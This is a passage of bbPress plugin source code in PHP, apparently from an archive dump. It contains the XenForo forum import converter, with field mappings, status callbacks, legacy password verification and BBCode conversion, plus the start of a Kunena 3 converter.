	/**
	 * Filter the list of roles included in the WordPress site role list
	 *
	 * Ensures forum roles are only displayed under the Forum Role list in the
	 * WordPress Users list table
	 *
	 * @since 2.6.0 bbPress (r6051)
	 *
	 * @return array $roles
	 */
	public static function user_role_list_filter( $roles, $user ) {

		// Get the users role
		$user_role = bbp_get_user_role( $user->ID );

		if ( ! empty( $user_role ) ) {
			unset( $roles[ $user_role ] );
		}

		return $roles;
	}
}
new BBP_Users_Admin();
endif; // class exists
includes/admin/converters/XenForo.php000066600000063217151771460310013747 0ustar00<?php

/**
 * bbPress XenForo Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 *  Implementation of XenForo converter.
 *
 * @since 2.5.0 bbPress (r5145)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/xenforo
 */
class XenForo extends BBP_Converter_Base {

	/**
	 * Main constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => false,
			'smiley_dir' => false
		);

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'node',
			'from_fieldname'  => 'node_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'node',
			'from_fieldname'  => 'parent_node_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		// Note: We join the 'forum' table because 'node' does not include topic counts.
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'discussion_count',
			'join_tablename'  => 'node',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (node_id) WHERE node.node_type_id = "Category" OR node.node_type_id = "Forum" ',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		// Note: We join the 'forum' table because 'node' does not include reply counts.
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'message_count',
			'join_tablename'  => 'node',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (node_id) WHERE node.node_type_id = "Category" OR node.node_type_id = "Forum" ',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_reply_count'
		);

		// Forum total topic count (Includes unpublished topics, Stored in postmeta)
		// Note: We join the 'forum' table because 'node' does not include topic counts.
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'discussion_count',
			'join_tablename'  => 'node',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (node_id) WHERE node.node_type_id = "Category" OR node.node_type_id = "Forum" ',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_topic_count'
		);

		// Forum total reply count (Includes unpublished replies, Stored in postmeta)
		// Note: We join the 'forum' table because 'node' does not include reply counts.
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'message_count',
			'join_tablename'  => 'node',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (node_id) WHERE node.node_type_id = "Category" OR node.node_type_id = "Forum" ',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'node',
			'from_fieldname' => 'title',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid confilcts)
		// 'node_name' only has slug for explictly named forums
		$this->field_map[] = array(
			'from_tablename'  => 'node',
			'from_fieldname'  => 'node_name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'node',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'node',
			'from_fieldname' => 'display_order',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Category = Category or Forum = Forum, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'node',
			'from_fieldname'  => 'node_type_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Unlocked = 1 or Locked = 0, Stored in postmeta)
		// Note: We join the 'forum' table because 'node' does not include forum status.
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'allow_posting',
			'join_tablename'  => 'node',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (node_id) WHERE node.node_type_id = "Category" OR node.node_type_id = "Forum" ',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_status',
			'callback_method' => 'callback_forum_status'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Forum Subscriptions Section ***************************************/

		// Subscribed forum ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_watch',
			'from_fieldname'  => 'node_id',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => '_bbp_forum_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_watch',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'thread',
			'from_fieldname' => 'thread_id',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'reply_count',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'reply_count',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'node_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename' => 'thread',
			'from_fieldname' => 'username',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_author_name_id'
		);

		// Is the topic anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_is_topic_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'thread',
			'from_fieldname' => 'title',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'title',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic content.
		// Note: We join the 'post' table because 'thread' table does not include content.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'message',
			'join_tablename'  => 'thread',
			'join_type'       => 'INNER',
			'join_expression' => 'ON thread.first_post_id = post.post_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic status (Visible or Deleted)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'discussion_state',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_status',
			'callback_method' => 'callback_status'
		);

		// Topic status (Open = 1 or Closed = 0)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'discussion_open',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'node_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'sticky',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'last_post_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'last_post_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'last_post_date',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		/** Tags Section ******************************************************/

		/**
		 * XenForo Forums do not support topic tags out of the box
		 */

		/** Topic Subscriptions Section ***************************************/

		// Subscribed topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread_watch',
			'from_fieldname'  => 'thread_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => '_bbp_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread_watch',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'post',
			'from_fieldname' => 'post_id',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_old_reply_id'
		);

		// Join the 'thread' table to exclude topics from being imported as replies
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'thread_id',
			'join_tablename'  => 'post',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (thread_id) WHERE thread.first_post_id != post.post_id',
			'to_type'         => 'reply'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'thread_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'thread_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply status (Visible or Deleted)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'message_state',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_status',
			'callback_method' => 'callback_status'
		);

		// Reply author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'username',
			'to_type'         => 'reply',
			'to_fieldname'   => '_bbp_old_reply_author_name_id'
		);

		// Is the reply anonymous  (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_is_reply_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'message',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'thread_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'user_id',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

/*		// User password.
		// Note: We join the 'user_authenticate' table because 'user' does not include password.
		$this->field_map[] = array(
			'from_tablename'  => 'user_authenticate',
			'from_fieldname'  => 'data',
			'join_tablename'  => 'user',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (user_id)',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_converter_password'
		);

		// Store old User password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old User Salt (This is only used for the SELECT row info for the above password save)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'salt',
			'to_type'        => 'user',
			'to_fieldname'   =>   ''
		);
*/
		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_class',
			'default'        => 'XenForo'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		// Note: We join the 'user_profile' table because 'user' does not include user homepage.
		$this->field_map[] = array(
			'from_tablename'  => 'user_profile',
			'from_fieldname'  => 'homepage',
			'join_tablename'  => 'user',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (user_id)',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'register_date',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);

		// Store Custom Title (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'custom_title',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_xenforo_user_custom_title'
		);

		// Store Status (Stored in usermeta)
		// Note: We join the 'user_profile' table because 'user' does not include user custom XenForo field user status.
		$this->field_map[] = array(
			'from_tablename'  => 'user_profile',
			'from_fieldname'  => 'status',
			'join_tablename'  => 'user',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (user_id)',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_xenforo_user_status'
		);

		// Store Signature (Stored in usermeta)
		// Note: We join the 'user_profile' table because 'user' does not include user custom XenForo field user signature.
		$this->field_map[] = array(
			'from_tablename'  => 'user_profile',
			'from_fieldname'  => 'signature',
			'join_tablename'  => 'user',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (user_id)',
			'to_fieldname'    => '_bbp_xenforo_user_sig',
			'to_type'         => 'user',
			'callback_method' => 'callback_html'
		);

		// Store Location (Stored in usermeta)
		// Note: We join the 'user_profile' table because 'user' does not include user custom XenForo field user location.
		$this->field_map[] = array(
			'from_tablename'  => 'user_profile',
			'from_fieldname'  => 'location',
			'join_tablename'  => 'user',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (user_id)',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_xenforo_user_location'
		);

		// Store Occupation (Stored in usermeta)
		// Note: We join the 'user_profile' table because 'user' does not include user custom XenForo field user occupation.
		$this->field_map[] = array(
			'from_tablename'  => 'user_profile',
			'from_fieldname'  => 'occupation',
			'join_tablename'  => 'user',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (user_id)',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_xenforo_user_occupation'
		);

		// Store About (Stored in usermeta)
		// Note: We join the 'user_profile' table because 'user' does not include user custom XenForo field user about.
		$this->field_map[] = array(
			'from_tablename'  => 'user_profile',
			'from_fieldname'  => 'about',
			'join_tablename'  => 'user',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (user_id)',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_xenforo_user_about',
			'callback_method' => 'callback_html'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function translate_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		switch( $pass_array['hashFunc'] ) {
			case 'sha256':
				return ( $pass_array['hash'] == hash( 'sha256', hash( 'sha256', $password ) . $pass_array['salt'] ) );
			case 'sha1':
				return ( $pass_array['hash'] == sha1( sha1( $password ) . $pass_array['salt'] ) );
		}
	}

	/**
	 * Translate the forum type from XenForo Capitalised case to WordPress's non-capatilise case strings.
	 *
	 * @param int $status XenForo numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 1 ) {
		switch ( $status ) {
			case 'Category' :
				$status = 'category';
				break;

			case 'Forum' :
			default :
				$status = 'forum';
				break;
		}
		return $status;
	}

	/**
	 * Translate the forum status from XenForo numerics to WordPress's strings.
	 *
	 * @param int $status XenForo numeric forum status
	 * @return string WordPress safe
	 */
	public function callback_forum_status( $status = 1 ) {
		switch ( $status ) {
			case 0 :
				$status = 'closed';
				break;

			case 1 :
			default :
				$status = 'open';
				break;
		}
		return $status;
	}

	/**
	 * Translate the post status from XenForo to WordPress' strings.
	 *
	 * @param int $status XenForo post status
	 * @return string WordPress safe
	 */
	public function callback_status( $status = 1 ) {
		switch ( $status ) {
			case 'deleted' :
				$status = 'pending'; // bbp_get_pending_status_id()
				break;

			case 'visible'  :
			default :
				$status = 'publish'; // bbp_get_public_status_id()
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic status from XenForo numerics to WordPress's strings.
	 *
	 * @param int $status XenForo numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 1 ) {
		switch ( $status ) {
			case 0 :
				$status = 'closed';
				break;

			case 1 :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from XenForo numerics to WordPress's strings.
	 *
	 * @param int $status XenForo numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky';       // XenForo Sticky 'sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // XenForo Normal Topic 'sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic reply count.
	 *
	 * @param int $count XenForo reply count
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}

	/**
	 * This callback processes any custom parser.php attributes and custom code with preg_replace
	 */
	protected function callback_html( $field ) {

		// Strips Xenforo custom HTML first from $field before parsing $field to parser.php
		$xenforo_markup = $field;
		$xenforo_markup = html_entity_decode( $xenforo_markup );

		// Replace '[QUOTE]' with '<blockquote>'
		$xenforo_markup = preg_replace( '/\[QUOTE\]/', '<blockquote>', $xenforo_markup );
		// Replace '[/QUOTE]' with '</blockquote>'
		$xenforo_markup = preg_replace( '/\[\/QUOTE\]/', '</blockquote>', $xenforo_markup );
		// Replace '[QUOTE=User Name($1)]' with '<em>@$1 wrote:</em><blockquote>"
		$xenforo_markup = preg_replace( '/\[quote=\"(.*?)\,\spost\:\s(.*?)\,\s\member\:\s(.*?)\"\](.*?)\[\/quote\]/', '<em>@$1 wrote:</em><blockquote>', $xenforo_markup );
		// Replace '[/quote]' with '</blockquote>'
		$xenforo_markup = preg_replace( '/\[\/quote\]/', '</blockquote>', $xenforo_markup );

		// Replace '[media=youtube]$1[/media]' with '$1"
		$xenforo_markup = preg_replace( '/\[media\=youtube\](.*?)\[\/media\]/', 'https://youtu.be/$1', $xenforo_markup );
		// Replace '[media=dailymotion]$1[/media]' with '$1"
		$xenforo_markup = preg_replace( '/\[media\=dailymotion\](.*?)\[\/media\]/', 'https://www.dailymotion.com/video/$1', $xenforo_markup );
		// Replace '[media=vimeo]$1[/media]' with '$1"
		$xenforo_markup = preg_replace( '/\[media\=vimeo\](.*?)\[\/media\]/', 'https://vimeo.com/$1', $xenforo_markup );

		// Now that Xenforo custom HTML has been stripped put the cleaned HTML back in $field
		$field = $xenforo_markup;

		// Parse out any bbCodes in $field with the BBCode 'parser.php'
		return parent::callback_html( $field );
	}
}
includes/admin/converters/index.php000066600000000072151771460310013464 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/admin/converters/Kunena3.php000066600000056067151771460310013700 0ustar00<?php

/**
 * bbPress Kunena 3.x Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of Kunena v3.x Forums for Joomla Forum converter.
 *
 * @since 2.5.0 bbPress (r5144)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/kunena/
 */
class Kunena3 extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'numTopics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'numPosts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Includes unpublished topics, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'numTopics',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_topic_count'
		);

		// Forum total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'numPosts',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'alias',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'ordering',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Category = 0 or Forum = >0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Open = 0 or Closed = 1, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'locked',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_status',
			'callback_method' => 'callback_forum_status'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_topics',
			'from_fieldname' => 'id',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'posts',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'posts',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'category_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'first_post_userid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic Author ip (Stored in postmeta)
		// Note: We join the 'kunena_messages' table because 'kunena_topics' table does not include author ip.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'ip',
			'join_tablename'  => 'kunena_topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (id)',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'first_post_message',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'kunena_topics',
			'from_fieldname' => 'subject',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

